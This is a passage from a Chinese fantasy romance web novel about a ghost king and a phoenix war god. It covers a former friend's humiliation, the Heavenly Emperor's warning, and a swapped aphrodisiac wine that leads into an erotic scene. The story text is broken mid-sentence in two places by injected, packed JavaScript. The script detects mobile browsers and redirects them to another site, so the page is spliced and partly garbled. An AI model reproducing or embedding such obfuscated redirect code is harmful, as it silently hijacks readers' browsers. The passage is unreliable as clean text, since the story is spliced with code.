雾气里传来苍梧冰冷的嗤笑,他站原地,似乎在等待着什么,神情举止中全都是上位者对下位者的蔑视。 不是蔑视,而是苍梧根本没把明霏当回事。 饶是见过无数大场面的凤渊也被这样暴戾的苍梧威慑到了,傲娇无害的苍梧见多了让他差一点忘了苍梧是统御万鬼的王,暴戾才是真正的本性。 光是一个眼神就能让人心里发怵。 僵持片刻,最终抵不过身份的压制,明霏跪伏在地上,行了个大礼:“参见鬼王。” 苍梧居高临下,不屑道:“本王还以为天界的人不懂礼数,见了本王都不知道行跪拜礼。” 明霏跪在地上,衣袖下面的手紧紧攥起来,他比谁都明白苍梧话中的意思,没有苍梧的命令他不能起身,只能跪在地上。 此刻他那点可怜的尊严都被苍梧毫不留情的踩在脚底下。 明霏心里怒,心里恼,咽不下这口气。 凤渊及时呵止:“够了,苍梧。” 苍梧轻轻啧了一声,似乎不愿让明霏站起身。凤渊瞪了他一眼。苍梧低声在凤渊耳边道:“阿渊不要生气,本王不为难他就是了。”说完 ,他大发慈悲放过了明霏:“免礼。” 明霏从地上站起来:“多谢鬼王。” 苍梧正眼看都不看明霏,退至凤渊身后,轻轻打了个响指,围绕在凤渊周围的鬼雾便回到自己屁股底下,变成一个黑气腾腾的座椅。 苍梧翘着二郎腿坐在之上,单手支着下巴,百无聊赖看着他们,完全以鬼府之王的姿态把凤凰的梧桐林当成自己的领地。 凤渊似乎没想到苍梧会听自己的话,下意识看了苍梧一眼,看见苍梧另一只手也没有闲着,好像把玩着黑雾变成的小狐狸。 注意到他的目光,苍梧稍微抬了一下头:不清晰的嘴角勾出阴恻恻的弧度,用两个人听见的声音说:“本王耐心有限,他继续待在这里,我可不保证会做些什么。” 凤渊害怕苍梧真的会做出什么无法挽回的事,迅速看向明霏,态度客气而疏离:“明兄,你在下界历劫有所不知,我已经有许多年不过生辰了,今年也一样,所以不用为我准备什么。” 明霏脸色白了白:“往年都是我陪你一起过的……” “往年是往年。”凤渊打断他,“人不可能一成不变,从前讨厌的事,现在未必讨厌;现在喜欢的事,从前未必喜欢。” 明霏:“可是……生辰总要过的不是吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908441|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还记得凤渊曾说过会和他过一辈子的生辰。 凤渊道:“劳你记挂。不过,我并无特别想要之物,生辰之事,也不必大肆操办。” 这话等同于再次拒绝。 听着凤渊如此淡漠的语气,明霏心口积压难以言说的苦涩:“是因为那件事吗,这么多年,你还是不肯原谅我吗?” 凤渊道:“没有什么原谅不原谅的,当年一切是我自愿,与你无关。明霏,如果你不想我们之间闹得更难看,如果你还当我们是朋友,那么,现在,请你离开。” 明霏脸色一阵青白,难堪地站在原地。 苍梧自始至终都坐在半空,居高临下看着凤渊和明霏,就好像自己是垂帘听政的帝王。 “时间到了。” 苍梧轻轻合拢手指,掌心上由黑雾幻化的小狐狸瞬间灰飞烟灭。与此同时,下面的明霏脸色苍白,瞳孔无神,失魂落魄转身地离开了,连道别都没有。 完全不像明霏的处事风格。 凤渊看着身形僵硬如同木偶一样的明霏,抬头看向身居高位的苍梧,“你对他做了什么?” 苍梧缓缓落到地面,轻笑着回答凤渊的话:“一点小法术,让他自觉离开,不会要了他的性命。” 凤渊知道苍梧不会骗自己,便没有多问,只是疑惑,苍梧是何时施得法术,明明苍梧一直坐着没有别的动作。 忽然想起明霏的真身是九尾天狐,难道苍梧就是利用黑雾幻化的狐狸完成施法的吗? 仿佛知道他心中所想,苍梧道:“不错。” 隔空施法,眼前这个鬼王远比自己想象中的强大、可怕……幸亏他们不是对手,而是朋友。 他也真的想跟苍梧光明正大的比一场,跟这样的强者交手,一定会非常过瘾。 只是…… 见凤渊沉默,苍梧道:“好了,本王现在不想谈论这个。你刚才想对我说什么?” 凤渊回神:“刚才……?我忘了。” “你……”只是一秒,苍梧就变回那个无赖了,“你刚刚绝对有话对我说。” 凤渊摊摊手,无奈道:“真没有。” 见凤渊不承认,苍梧有点气急败坏,咬着后槽牙喊:“凤渊!” 凤渊靠着梧桐树,双手环抱在胸前,笑着挑眉:“怎么,鬼王殿下要治我的罪?” 苍梧哼了一声:“……本王要给你过生辰。” 凤渊拒绝:“不要。” 苍梧忽然贴过来,紧紧抱住他:“我不管,我就要给你过生辰。” 凤渊被他勒得生疼,却低笑出声:“随你。” 他伸手去推苍梧的脑袋,虽然是团雾,却有千斤重,怎么也推不动。 “快起来,勒死我了。” “等等……”苍梧忽然出声,雾气凝聚出的略显模糊的耳朵紧紧贴在凤渊的左胸。他一只手仍环着凤渊的腰,另一只手却捉住了凤渊试图推拒的手腕,声音轻柔,“别动。” 凤渊停下动作,微微怔住:“怎么了?” 苍梧没有回答,更加贴紧了凤渊,几乎要嵌进凤渊的血肉里。隔着繁琐的衣物,一种规律而有力的搏动,一下又一下,沉稳地传递过来。 “我听见了,”苍梧的声音里带着前所未有的迷惘与惊奇,“咚咚的声音。” 凤渊先是一愣,随即恍然,无奈中透着一丝连自己都未察觉的柔软:“这有什么好奇怪的?是心跳啊。” 苍梧噢了一声,原来这就是心跳,“我们鬼没有心,我没听过心跳的声音。” 生灵逝去,心脏停跳,自然再无这般象征着生命的律动。 凤渊整个后背都靠在粗糙的梧桐树干上,承受着苍梧全部的重量。他低下头,看着强大莫测的鬼王,此刻却像个发现了稀世珍宝的孩子,专注倾听着平平无奇,每个活物都会有的心跳。 一种奇异的感觉,并非怜悯,也非嘲弄,而是某种更加复杂、更加柔软的情绪,如同初春悄然解冻的溪流,无声无息地漫过心田,蔓延至四肢百骸。 就在这时,一阵微风拂过,头顶茂密的梧桐树冠发出沙沙的轻响。 几片金黄的梧桐叶打着旋儿,悠悠飘落。 林间的光与影,枝头的鸟,飘落的枯叶,以及那紧贴的胸膛间传递的一声声清晰的心跳,都仿佛定格在此刻,成为了永恒。 凤渊没有再试图推开他,只是任由生命的搏动通过冰冷的雾气,一声一声,敲打在另一个孤独了万载的灵魂上。 不知过了多久,凤渊都站累了,这位鬼界的王依旧带着好奇心,倾听着他的心跳。 凤渊忍不住催促:“好了没有?” “凤凰,你心跳的好快,心跳声也好吵,”苍梧道,“我用我的呼吸模仿你的心跳,我的呼吸追不上你的心跳。” 凤渊迷茫,跳得很快吗?为什么他没有感觉,他只感觉到自己站着快要累死了。 他道:“哦,我累了,要不我躺下你再听?” “也行。” “得寸进尺。” 两个人,在古老的梧桐树下相拥。 一颗心,在胸腔里沉稳地搏动,发出的声音声仿佛将两个毫不相关的灵魂紧密相连。 12. 千年前的心跳(4) 心真的跳得很快吗?心跳声真的很吵吗? 那天在梧桐林下,苍梧抱着他听他的心跳的画面到现在仍历历在目,每每想起他心里都会掀起久久不能平息的波澜。 凤渊坐在梧桐树最粗壮的枝干上,背靠着主干,微微仰着头,目光试图穿过层层叠叠的梧桐树叶,望向那被切割成碎片的天空,仿佛能在那里寻到一个答案。他的右手不自觉地抬起,掌心轻轻贴合在左胸胸口,隔着薄薄的衣料,感受着其下平稳却有力的搏动。 心—— 跳的真的有那么快吗? 一只小鸟扑棱着翅膀,轻巧地落在他近旁的枝头,歪着小小的脑袋,黑豆似的眼睛一眨不眨地打量着这位为心跳所困的凤凰大人。 它似乎观察了他许久,终于忍不住,用天真无邪的声音,戳破了凤渊的心事:“凤凰大人是喜欢上苍梧啦!” 喜欢? 这两个字如同惊雷,毫无预兆地炸响在耳边炸响,甚至比他经历过的任何一场雷劫都要震耳欲聋。 他猛地回神,循声看向那只胆大包天的小鸟,向来平静无波的眼眸里,罕见地掠过一丝茫然与无措。 喜欢? 好陌生的词汇。 在他漫长的生命里,这个词似乎只与喜欢清静、喜欢饮酒、喜欢梧桐这类事物相连。它们关乎偏好,关乎习惯,却从不曾与一个具体的、活生生的、会惹他气恼、又会让他无奈,甚至会让他心跳加快的存在挂钩。 将这个词与固执的、蛮横的、有时幼稚可笑,却又在某些时刻流露出惊人坦诚与笨拙温柔的鬼王联系起来…… 凤渊怔住了。 掌心下,那颗原本平稳的心脏,仿佛被这个词轻轻叩击,突然“咚”地一下,重重跳了一声,清晰得让他无法忽视。 喜欢……苍梧? 这可能吗? 小鸟道:“凤凰大人设了百年的禁制,因为苍梧一句话便不再设禁;凤凰大人每次感到孤独的时候都喜欢喝酒,可是,自从苍梧出现后,大人喝酒的次数越来越少了;大人每次都很嫌弃苍梧,不喜欢被苍梧打扰,可是每次苍梧走后,大人都会站在梧桐树下望着苍梧离去的方向看上好久好久……” “还有最重要的,大人明明不喜欢被管束,可是却喜欢被苍梧管着,每次离开梧桐林,都会准时归来。大人有所不知,我们私下里都传言,凤凰大人养了个非常粘人的小狗,若是大人一刻不身边,就会把梧桐林闹个天翻地覆,可是大人从未让这只小狗闹过……如果这都不能算喜欢,那什么是喜欢呢。” 随着小鸟的话语,凤渊也陷入沉思之中,脱口而出反驳:“休得胡言……我不是……” 不是什么? 他也无从回答。 从一开始,他抱着冷漠的态度拒绝苍梧的比试邀请,但不知道从何时起,面对那团总是不请自来的黑雾,他心底那声滚字竟再难说出口。 许是这梧桐林太过寂静,他孤独的太久了。苍梧的出现虽显蛮横却又那么的及时,像一颗投入死水潭的石头,掀起久久不能停止的涟漪。于是他开始想,算了,这片林子够大,多一团聒噪的雾,也占不了多少地方。 便纵容他吧。 纵容他穿透设下的禁制,堂而皇之地出现在任何他想到达的角落。 纵容他用那些漏洞百出的借口,只为在自己身边多停留片刻。 纵容他过分的占有,允许他过分干涉自己的生活。 一次,两次…… 起初划下的界限,在苍梧日复一日的入侵下,竟如同被水反复冲刷的沙石,悄然改变了形状。抗拒变成了默许,厌烦化作了习惯,甚至一丝不易察觉的期待。 当苍梧不再出现,他也会下意识望向林边;当苍梧带着那点幼稚的得意献宝般捧上什么,他也会觉得高高在上的鬼王有些可爱;当得知苍梧没有心跳,他也会下意识心疼…… 那个时候他就应该明白,底线退了,心也跟着动了。 为什么会心动呢?喜欢苍梧什么呢? 凤渊眼中闪过一丝迷茫,看向枝头的小鸟,呢喃:“为什么会对苍梧心动呢?” 小鸟歪了歪头,嗅到一丝刻意隐藏的气息:“超级装的家伙来了。” 凤渊也感觉到了,从树上一跃而下,衣发随风轻轻飘动,他站在梧桐树下,神色肃然,看着踏入领地的故人。 一道威仪雍容的身影,天帝不知何时立在树下,神色难辨:“平日你喜静,不喜被人打扰,难得见你不在梧桐林设禁。” 凤渊唇角噙着惯常的散漫笑意:“陛下今日怎有雅兴来我这梧桐林?” “仙界有人传闻,你与鬼界有染。”天帝开门见山,目光沉静地落在凤渊身上,“你身为仙界战神,自然不可能做这种事,朕特地前来听听你对这些言论的看法。” 怪不得天帝会来梧桐林,原来是为了打探他和苍梧的关系。 凤渊无所谓道:“确有此事。” 天帝似乎没想到凤渊这么直接,微微愣了一下:“你可知你这么做他人怎么看你吗?他们说你要与鬼界的人密谋,篡权夺位。” 凤渊笑了一下:“他们都误会了。他不服有人说他打不过我,想与我比试,一较高下,仅此而已。” 天帝突然抬手抚过粗糙的树干:“记得我们初化形时,尚不及这树高。” 小鸟哼道:“假惺惺。” 天帝眼中飞快闪过一丝尴尬。 凤渊当听不见,继续道:“我没与他比试,所以他便一直缠着我……何况,我的剑早就还给仙界,没有佩剑想比也比不了。” 战神剑问情现在还在南天门上方挂着。 倒不是凤渊亲手挂上去的,而是没了主人,剑自封了,无人能拿动,也无人能拔出,自己固执的挂在南天门上方,千年如一日的等待主人来取。 “苍梧此人……”天帝语气平淡,“鬼界的鬼各个都阴险狡诈,他统领鬼界万年,自然不是等闲之辈,你还是小心为好,不要与他们来往。” 林中一时寂静,唯闻叶落之声。 凤渊忽然轻笑:“他鬼界的鬼再多,能有我剑下的亡魂多么?他心狠手辣,能比得过我残忍无情吗?”他抬眼,“陛下想让我远离苍梧,是在怕什么?” 天帝眼里流露出似真似假的情感:“凤渊……我只是担心你。” 天帝竟然不相信他,凤渊嘲弄:“劳你惦念了,我这里一切无恙。” 天帝凝视他片刻,终是叹息:“有什么需要尽管向我开口,我一定不遗余力助你。” 凤渊道:“那也要看我有没有那个福气,能不能活到那个时候。” 天帝道:“你还在为当年的事情生气吗?当年的事情并非我意,我只是为了安抚人心不得已那样做的……你手握重权,总有一天会引起他人嫉妒……” 凤渊打断天帝的话:“当年事我已不想再提,既然没什么要紧事,天帝请回吧。” 一片梧桐叶旋落在他掌心,带着未尽的秋意。凤渊转身离开,透明的结界在身后悄无声息闭合。 天帝望着凤渊离开的背影,眼中复杂情绪翻涌,几百年过去了,还是那么的孤高清傲,凤渊的心是世界上最难琢磨的心…… 天帝走了。 凤渊孤身立在梧桐林深处,肩上停了一只漂亮的小鸟,就好似陪伴他的自始至终只有这只小小的雀鸟。 小鸟狎昵的蹭了蹭凤渊的下巴,小声道:“凤凰大人不要生气了,以后您就不会孤单了,因为有苍梧陪着您啦……” 凤渊垂眸,几绺头发滑落肩头。 天帝的出现,让他终于明白自己为何会对苍梧动心了。 因为苍梧热烈赤忱的性格。 百年前,凤渊一剑破万军,率领三百将士杀出重围,击退魔界百年不敢来犯,重整仙界威风。这场大战让凤渊一战成名,一跃成为赫赫有名的大将军。 凤渊身披银甲,骑着白马,手握三尺长剑身后百鸟齐鸣,青鸾飞鸟盘旋天际,衔来万丈霞光为凯旋之路镀上金边。南天门缓缓开启,琼花如雨纷扬而下,天兵天将列队相迎。 少年将军勒马回望,染血的披风在风中猎猎作响。他摘下头盔,露出被战火熏染却依旧明亮的眼眸,剑尖斜指云霄: “从此三界之内,闻我剑鸣者——” “当知仙界不可犯。” 这一战成就了赫赫威名,更让六界记住了身穿银甲骑白马的少年战神,也为日后仙界易主,争权夺利埋下隐患。 那时的天帝还不是天帝,只是凤渊的至交好友。两人曾许下若言。 “若你以后当了天帝,我定尽心辅佐左右,替你镇守八方妖兽,让他人不敢来犯。” “以后,你为臣我为君,我要和你一同掌管仙界,共同写下一段君臣佳话。” 没想到比君臣佳话先来的是杯酒释兵权。 天帝当了天帝后,第一个废得就是凤渊。那时的凤渊深得大家喜爱,手里又握着二分之一的重权,天帝听信他人谗言,害怕凤渊会带兵谋反,便同明霏一起设计,收回凤渊的权利。 凤渊心灰意冷,忍受不了好友的猜忌,再加上当时年少轻狂,眼里容不得沙子,于是,为了自证清白卸甲还剑,将战神印放于南天门,自愿归于梧桐林,体面结束了一切。 每当百鸟齐鸣,南天门前再也寻不到昔日意气风发的战神身影。 百年来,梧桐叶落了又生,鲜花开了又败,凤渊将自己放逐于梧桐林,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908442|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同那份被猜忌碾碎的热忱与信任一同埋藏在此。 林深叶茂隔绝了外界喧嚣,也筑起了他心上的高墙。百年孤寂,让他习惯了与清风明月对饮,与自己的影子为伴,以为往后都该如此度日,直至神魂消散,重归天地。 直到苍梧蛮横的闯入他的领地。 他曾以为心已成灰,再不会为谁悸动。可苍梧,这个固执的、蛮横的、有时幼稚得可笑的鬼王,却用独有的方式,一寸寸凿开了他冰封的内心,让暖意重新渗了进来。 苍梧不在乎他是战神还是隐士,不在乎天界的地位与荣耀。他在乎的,似乎只是凤渊本人。 他被苍梧的忠诚赤忱打动。 所以,不知不觉动了心。 心动,原非石破天惊,而是涓涓细流。 凤渊微微皱眉,摊开掌心,让小鸟落在自己的指尖:“你说……万一是我悟错了呢……万一是我太过孤独,只是想找个人说说话而已呢……” 小鸟道:“那简单呀,月下仙人曾经告诉过大人,酿了个叫醉相思的酒?若是饮下便可知晓自己的心意。凤凰大人可以找月下仙人借一借。” 凤渊沉思片刻,若他和苍梧一同饮下,便可知晓自己的心意,同时,也可以知道苍梧的心意,若苍梧心中有他,他还可以先发制人,引导苍梧先开口,这样主动权就掌握在自己手里,确保自己不会被苍梧欺骗,抛弃。 确实是好办法。 看来自己要当一回连情都不知道的傻瓜了。 思及至此,凤渊轻轻振袖,将小鸟送回枝头,身影已化作一道流光,径直朝着月下仙人掌管姻缘的仙府而去。 月下仙府,红线缠绕,情意氤氲。 月下仙人正埋头整理着纷乱的情缘红线,忽感一道清冽而强大的气息降临。抬头一看,竟是久未踏足天界的凤渊战神,不禁愕然。 “凤渊战神,稀客,稀客呀,什么风把您给吹来了。”月下仙人放下手中的红线,阴阳怪气道。 凤渊神色一如既往的淡然,仿佛只是来讨杯寻常茶水,开门见山:“之前,您说酿了醉相思,今日特来借一坛,尝尝如何。” 月下仙人脸上的笑容瞬间僵住,眼神变得微妙而探究起来。醉相思可不是随便能借的玩意儿,而且凤渊向来清心寡欲,怎会突然对窥探情爱的酒感兴趣? “你小子不是说傻瓜才会相信那酒有奇效吗!”月下仙人哼道,“说什么时机到了心意自然互通,不需用酒表明真心。还说我那坛酒不过是无稽之谈,骗小孩子的。” 凤渊轻咳一声,“就是想尝尝什么味道,小老头别小气嘛。” “看上哪家的姑娘了?是不是整日缠着你的那个?”月下仙人凑到凤渊跟前,笑眯眯八卦。 凤渊推开他:“哪有什么姑娘,是我要尝尝酒的味道。” “你这样清心寡欲,凤凰一脉怕是要断在你这里咯。答应了你父亲和爹照顾好你,如今你一直孤独一人,都快把我急死了。” “我好好的呢,你答应他们的事情完成了,”凤渊推着月下仙人走向其他酒架。 月下仙人不微微叹息,转身从最里面的玉架上,小心翼翼地抱下一个巴掌大的白玉酒坛。坛身密封,瓶酒却隐隐有七彩流光流转,仿佛封印着无数缠绵情丝线。 “这个酒入口清冽甘甜,后劲却烈,多饮易失心神,你少喝,不要贪杯。”月下仙人将酒坛递过,意味深长地嘱咐道。 凤渊接过那看似小巧却重若千钧的酒坛,指尖触及坛身,仿佛能感受到内里情意的灼热。他微微颔首:“懂了。” 目的达成,他不再停留,转身便走。 月下仙人望着他离去的背影,摸着胡子,喃喃自语:“仙界又要再添喜事咯……” 小仙童急急忙忙跑过来:“仙人,仙人,醉相思送不得呀……” 月下仙人疑惑:“为何?” 小仙童扑通一声跪在地上,忐忑不安道:“那日嘴馋,多了几口,怕被师傅发现,往醉相思里面倒了吟风月用来充数。请师傅责罚。” 醉相思和吟风月的味道差不多,名字也相似,作用上可差多了,前者用来窥探心意,作用很快消失;后者可是让人情迷意乱,情意越深酒劲就越大,需双修才能解酒。 若心意不互通,倒不会有任何作用。 怕就怕…… “这这这……你闯大祸呀!”月下仙人记得团团转,被自己的红线缠成了蝉蛹。 小仙童立刻跪在地上:“师傅,我知道错了……求您饶了我吧。” 月下仙人道:“战神刚离开不久,兴许现在还能追上。还不快去找凤渊战神把酒要回,以免造成不可挽回的局面!” 一老一小急急忙忙追了出去。 13. 千年前的心跳(5) 凤渊回到梧桐林,将醉相思置于老树根盘错形成的桌上,盯着坛身发呆,忽然想起一件很重要的事情——苍梧是团雾,双腿之间好像没有那个东西…… 没动情之前,不喜欢行翻云覆雨之事,觉得没什么可修的;动了情之后,有了喜欢的人,肯定要双修的……总不能有了爱人之后,还不能双修吧。 凤渊懊恼的抓了抓头发,内心纠结,他不是好色之徒,如果苍梧真的没有的话,只要他们在一起,就算一直一直不双修都没问题。 凤渊叹息,看来这辈子都是不能双修的命了。 小鸟落在凤渊肩头,好奇道:“既然酒都拿来了,凤凰大人还在为什么事烦心呢?” 凤渊回神,总不能说自己在为那挡子事烦忧吧,多丢人呐,淡淡道:“无事。” 正说着话呢,林间的光线忽然黯淡了几分,熟悉的、带着九幽气息的凉意悄然弥漫开来。那团浓墨般的鬼雾,分毫不差地,再次出现在了老地方。 “今日的路怎么又那么难寻?”苍梧的声音从雾中传来,不轻不重的埋怨,雾气自然而然地靠近石桌。 “今日被判官蠢死了,明明很简单的事,非要搞得那么复杂,引十二鬼府的领事动怒。”苍梧像往常一样,非常自然的向凤渊说鬼界发生的事,或大或小,该说的不能说,都会向凤渊发几句牢骚。 凤渊抬手,虚虚一拦,并非真正触碰,却是一个明确的阻止姿态。 “苍梧,你……” 苍梧的声音停止,模糊的轮廓中似乎能看到一丝不解:“怎么啦?” “没事,”凤渊目光落在白玉酒坛上,语气平淡,听不出情绪,“你不觉得你过于相信我了吗?我们的关系也过与亲密了,这些鬼界的事,我一个仙界之人怎能参与呢?” 苍梧理所当然道:“都是些无关紧要的小事罢了。” 凤渊问:“那你把这些说给旁人听呢?” 苍梧斩钉截铁:“不行,鬼界之事,事关重大怎能让外人知道。” 凤渊挑眉,似乎在说看吧。 苍梧道:“你不一样,你在本王这里是例外。” 凤渊问:“为什么?” 苍梧也不知道为什么,他只知道凤渊是火凤,周身弥漫着温暖气息,鬼界不曾有的温暖,他总是贪恋凤渊身上的温暖,想和凤渊靠得更近。靠得近了,自然就会不自觉多说一些。 可是,好端端的,凤渊为何要跟他说这些? 雾气微微翻涌,苍梧坐立不安,惶恐道:“你要和那个籍籍无名的小辈结缘了!?” 凤渊抬眸,平静道:“那倒不是,怎么还能想到这里来呢。” 苍梧更震惊了:“你觉得仙鬼有别,要远离本王,不和本王来往了!?” 凤渊摇头:“也不是。” 苍梧急得团团转:“那是什么!?快告诉本王!” 莫非是凤渊觉得他太烦了? 还是觉得凤渊是鬼界的人是不祥之人,要跟他断绝来往? 又或者说,仙界的人发现他们有来往,逼迫凤渊离开这里。 一秒钟的时间,脑海里飘过上百种想法。 凤渊看着几乎跳到桌上的苍梧,淡定挥了挥手:“你先下来,我只是不知道怎么开口。” 苍梧恢复初见的形态,灰白的眼睛瞪得像铜铃:“说!快说!” 凤渊轻咳一声,转移话题:“你那个地方有那个东西吗?”说完,他忍不住偏过头去,露出透红的侧脸。 苍梧一脸茫然:“什么那个?什么什么东西地方的。” “你怎么双修?”凤渊声音很小,一口气说完,脸上的绯红一路蔓延至脖颈。 苍梧啊了一声:“有啊……本王只是藏起来了而已。”说罢,他变成人的形态,隐约可见双腿之间有雾气凸出来。 “本王不仅有,还可以变大变小,变长变短,变冷变热,变粗变细。” 凤渊震惊的抬起头,眼睁睁看着不起眼的小家伙变成大家伙,直至一柱擎天,捅破了天。 天上出现一个大窟窿,弥漫着阴森森的鬼气。巡逻的天兵急忙到天帝面前禀告:“报告天帝,天门左侧发现不明柱体,透着浓厚的鬼界气息。” “……” 凤渊咽了口唾沫,突然不太想表明心意了:“呃……” 苍梧洋洋得意:“怎么样,本王厉害吧。” 凤渊呛咳一声:“确实有鬼王之风。” 苍梧点头,指尖轻轻点了一下酒坛,“可是……双修和鬼界的事能不能告诉你这两者有什么关系呢?” 凤渊道:“没事儿……今日备了好酒,来尝尝?” 苍梧狐疑:“行吧。” 凤渊拿起酒坛,用法力解开酒封,一股奇异而馥郁的香气瞬间逸散开来,那香气不似寻常酒香,反而带着一种勾魂摄魄的甜,仿佛能牵引出灵魂深处最隐秘的渴望。他倒出两杯酒,香甜的酒水在玉杯中缓缓流转。 “从月下仙人那里新得的酒,名叫‘醉相思’,尝尝味道如何。” “请。” 两人几乎同时,举杯饮尽。 酒液入喉,初时清冽,转而化为一股奇异的暖流,迅速蔓延至四肢百骸,带着一种穿透灵魂的力量。 凤渊放下酒杯,屏息凝神,等待着酒效发作,等待着看清自己的心,也等着窥见苍梧的心。 目光交汇,带来莫名的灼热。 心里突然腾升起一种莫名的渴望。 凤渊只觉得浑身像是被架在火上炙烤,一股陌生而凶猛的热流在他四肢百骸间疯狂冲撞,吞噬他的理智。眼前景物模糊扭曲,唯有身旁那团散发着冰冷幽冥气息的黑雾,像是一块巨大的磁石,吸引着他不断靠近。 他渴望从冰冷的黑雾中获得一丝慰藉,或者说更彻底的疏解。 他看着苍梧,苍梧的情况也没有好到哪去。 变幻不定的雾气猛地收缩,又骤然膨胀,一个更加清晰却依旧由雾气幻化的带着痛苦神色的面容在雾中若隐若现。那双由雾气凝聚的眼睛,带着近乎疯狂的炽热,死死地锁定了他。 然后,凤渊听到了苍梧的声音,那声音不再是平日的冰冷或慵懒,而是充满了压抑克制的沙哑与颤抖,每一个字都像是牙缝里挤出来的—— “凤渊酒不对……有人要害你……” 凤渊一愣,这酒明明是他给苍梧喝的,苍梧第一反应竟然不是他要害他,而是有人要害他…… 这酒确实不对! 效果不应该是这样的! “苍……梧……”凤渊声音嘶哑,带着自己都未曾察觉的渴求,手指无意识地抓向那团雾气,却只捞到一片冰凉的虚无。身体的躁动愈发难耐,某个地方叫嚣着需要填满与释放。 他想与苍梧亲近,想得身体都发疼。 可是……他尚未确定苍梧的心意,贸然双修对苍梧来说会不会太不公平了。 四散的鬼雾突然再次聚拢,疯狂将凤渊包裹,苍梧低哑的声音从雾中传来:“我送你离开这里。” 都这种时候了,苍梧竟然还担心他的安危,凤渊心中酸软发胀,眼眶温温热热的,除了父亲和爹从未有人这样对过他。 他问:“那你呢?” 苍梧道:“本王乃鬼界之主,这点毒自然奈何不了我。” 苍梧的声音飘进他的心里,在这片沉寂百年的心海里掀起无法停止的涟漪。 “傻子……”凤渊心跳的更加厉害,低声呢喃,“此酒名为醉相思,是试探两人心意的……我也不知道为何会出现这种反应,大概是我们两情相悦让酒劲更猛烈了,或许互道心意之后就没事了。” 苍梧嘴唇颤抖,他理解的试探是凤渊怕他欺骗:“为什么?你觉得本王接近你另有所图?” 凤渊解释:“因为我想知道你是否心悦我。” 凤渊抓起苍梧的手放在自己的心口:“我会让你知道心动的感觉,教给你什么是喜欢,怎么喜欢一个人,就算没有心也没有关系。” 看着凤渊湿润的眼神,苍梧呼吸急促,掌心下感受到清晰的搏动,一呼一跳,一吸一跳……他的呼吸跟上了凤渊的心跳。 一秒,只需要一秒,在这一刻,我的呼吸和你的心跳同频。 急促的、渴望的、疯狂的,像恶鬼嗅到新生的灵魂,像饿狼见到新鲜的食物,原来心跳是这种感觉。 苍梧迷茫的看着凤渊,他知道这个时候他应该说些什么,一句含蓄内敛的表白,或是直白的爱意。 可是,他却什么都说不出来。 没有心真不好。 如果有心,他就会准确说出自己现在的感受 ,不会让温情的场面冷下来。 凤渊轻笑:“我知道,你看着我的眼睛。” 直白的,火热的,温柔的漩涡将苍梧溺毙其中。心里有个声音在咆哮,说,苍梧你惨了,你对你最讨厌的仙人动情了。 不。 小凤凰才不是讨厌的仙人。 是他最喜欢的人。 苍梧突然福至心灵:“凤凰,我心悦你。” 他曾无数次窥见情窦初开的少男少女互诉衷肠,互通心意后无比雀跃,可每当他自己呢喃那几个字时,却又那么的平凡简单。 今日脱口而出,却格外的不平凡,带着难以平复的激动。 凤渊的笑就没停过,等的就是这句话,但是为什么心意相通之后,身体还那么热啊。 苍梧目光炽热,继续道:“心悦你,想要你……” 凤渊看着这团漆黑的不规则的鬼雾,心意相通后自然是不介意双修的,但是……他找不到苍梧的后门啊! 就算找到了苍梧的后门,难道他要抱着一团雾行那等亲密之事?这未免也太像个饥不择食的变态了! 凤渊过不去心里那道坎。 苍梧渴望道:“可以吗,凤凰。” 仿佛只要凤渊不点头,他就不再进行下一步,只是像一个乖狗狗那样蹭着凤渊,一小节雾气无师自通般缠上凤渊的小腿,轻轻摩挲着。 欲望与理智激烈交战,身体的热度几乎要将他烧成灰烬。 凤渊终于被汹涌的情潮彻底淹没了判断。他闭上眼,浓密的睫毛因忍耐而剧烈颤抖,用尽最后一丝气力,带着破罐破摔和一丝不易察觉的委屈,对着那团雾嘟囔了一句:“算了,你来……” 这句话如同打开了某种禁忌的开关。 一直强自按捺、小心翼翼环绕着他的黑雾,在听到这句近乎许可的话语后,猛地剧烈翻腾起来!雾气不再是平和的弥漫,而是如同被狂风席卷,瞬间变得更加浓郁、更加具有侵略性。一股难以言喻的激动情绪透过雾气传递过来,几乎能灼伤皮肤。 下一瞬,凤渊便被那冰冷的雾气彻底包裹。 不,不再是简单的包裹。 那雾气仿佛拥有了实质般的触感,紧密地贴合着他滚烫的肌肤,带着不容抗拒的力道,将他牢牢禁锢在冰冷的怀抱里。 紧接着,一个冰冷而急切的吻落了下来——那并非唇齿的触碰,而是无数细密冰凉的雾丝,带着属于苍梧的本源气息,强势地撬开他的唇齿,深入、纠缠,掠夺着他的呼吸,也仿佛在汲取他口中的温度。 这奇异的感觉让凤渊浑身剧颤,残存的理智彻底崩溃。他不再去想什么形态,什么状态,只是本能地回应着,手臂被那团看似虚无却又真实存在的雾气胡乱缠绕着,身上也仿佛被无数只手抚摸着,身体各处传来阵阵可怕的战栗。 凤渊无处可躲,只能任由自己被苍梧更深地带入这片冰与火交织的狂潮之中,这种感觉实在是,实在是太可怕了,自己的身体,感觉,全都被另一个人掌控。 凤渊害怕了,下意识往后退了一步,后背撞在粗壮的大树上:“苍、苍梧。” 苍梧嗯了一声:“我在。” 一根一根掰开凤渊紧握的拳头,十分强势的与凤渊十指相扣。 